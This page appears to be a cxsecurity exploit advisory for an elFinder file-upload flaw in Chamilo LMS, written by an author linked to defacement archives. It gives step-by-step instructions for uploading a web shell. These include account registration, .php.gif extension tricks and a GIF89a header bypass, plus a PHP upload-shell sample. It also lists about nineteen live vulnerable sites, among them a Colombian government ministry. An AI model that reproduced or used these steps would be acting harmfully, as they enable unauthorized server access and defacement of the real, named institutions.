Chamilo © 2020 Campus v1 ElFinder Backdoor Access Shell Upload Vulnerability

2020.05.27
Risk: Medium
Local: No
Remote: Yes
CVE: CAPEC-115
CWE: CWE-287

#################################################################### # Exploit Title : Chamilo © 2020 Campus v1 ElFinder Backdoor Access Shell Upload Vulnerability # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 27 May 2020 # Vendor Homepage : campus.chamilo.org # Software Version : 1 and 1.x.x etc... # Software Download Link : chamilo.org/en/download/ # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : Powered by Chamilo © 2020 site:com # Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ] CWE-264 Permissions, Privileges, and Access Controls CAPEC-650 [ Upload a Web Shell to a Web Server ] CAPEC-17 [ Using Malicious Files ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/KingSkrupellos # Zone-H : zone-h.org/archive/notifier=KingSkrupellos zone-h.org/archive/notifier=CyBeRiZM # Mirror-H : mirror-h.org/search/hacker/948/ mirror-h.org/search/hacker/94/ mirror-h.org/search/hacker/1826/ # Defacer.ID : defacer.id/archive/attacker/KingSkrupellos defacer.id/archive/team/Cyberizm-Org # Inj3ctor : 1nj3ctor.com/attacker/43/ ~ 1nj3ctor.com/attacker/59/ # Aljyyosh : aljyyosh.org/hacker.php?id=KingSkrupellos aljyyosh.org/hacker.php?id=Cyberizm.Org aljyyosh.org/hacker.php?id=Cyberizm # Zone-D : zone-d.org/attacker/id/69 # Pastebin : pastebin.com/u/KingSkrupellos # Cyberizm.Org : cyberizm.org/forum-exploits-vulnerabilities #################################################################### # Impact : *********** This Software is prone to a vulnerability that lets attackers upload arbitrary files because it fails to adequately sanitize user-supplied input. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. CWE-434 [ Unrestricted Upload of File with Dangerous Type ] ********************************************************* The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. CWE-264 Permissions, Privileges, and Access Controls **************************************************** Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. CAPEC-650 [ Upload a Web Shell to a Web Server ] ********************************************************* By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels. CAPEC-17 [ Using Malicious Files ] ******************************* An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface. #################################################################### # Arbitrary File Upload / Unauthorized File Insert Exploit : ************************************************** /main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en /main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw Important Note : Ministry of Commerce Industry and Tourism Colombia [ mincit.gov.co ] is vulnerable. If says to you : Unable to connect to backend. Invalid backend configuration. Readable volumes not available. Then Register yourself with Admin or Author Account. /main/auth/inscription.php Then you can use File Upload and Shell the sites with .php.gif or php.pjpg Use your Brain :) Vulnerability ScreenShot Proof => https://www.upload.ee/image/11775401/mincitgovcoexploitelfinder27520.png https://www.upload.ee/image/11775402/elfinderexploit27052020.png Upload your shell in gif format and then rename the format # if the rename function was disabled and add this GIF89;aGIF89;aGIF89;a before <?PHP # Example GIF89;aGIF89;aGIF89;a<html> <head> <title>PHP Test</title> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="upload file" name="submit"> </form> </head> <body> <?php echo '<p>FILE UPLOAD</p><br>'; $tgt_dir = "uploads/"; $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']); echo "<br>TARGET FILE= ".$tgt_file; //$filename = $_FILES['fileToUpload']['name']; echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"]; if(isset($_POST['submit'])) { if(file_exists("uploads/".$_FILES["fileToUpload"]["name"])) { echo "<br>file exists, try with another name"; } else { echo "<br>STARTING UPLOAD PROCESS<br>"; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $tgt_file)) { echo "<br>File UPLOADED:- ".$tgt_file; } else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; } } } ?> </body> </html> Directory File Path : ********************** /app/upload/users/[ID-NUMBER]/[YOUR-NUMBER-ID]/my_files/[YOURFILENAME].html [PATH]/my_files/[YOURFILENAME].html #################################################################### # Example Vulnerable Sites : ************************ [+] campus.chamilo.org/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] universidadsorjuanaines.edu.mx/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] bimwerxacademy.com/lms//main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] mapsnetwork.eu/elearning/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] vle.minerva.bg/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] chamilo.etf.edu/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] petrogasplus.com/chamilo//main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] cloud.octagonafrica.com/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] dsitello.com/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] stocksniperacademy.com/lms/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] margaridaschool.com/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] loreelorza.com/Academia/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] aulavirtual.unitylanguageschool.com/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] lms.mincit.gov.co/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] admejoresseguridadsig.com/aulas/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] chamilo-miage-toulouse.northeurope.cloudapp.azure.com/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] froggyspeak.net/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en#elf_l2_Lw [+] campus.adesa-asesoria.com/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en [+] saint-cricq.com/TSTC/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0&langCode=en #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top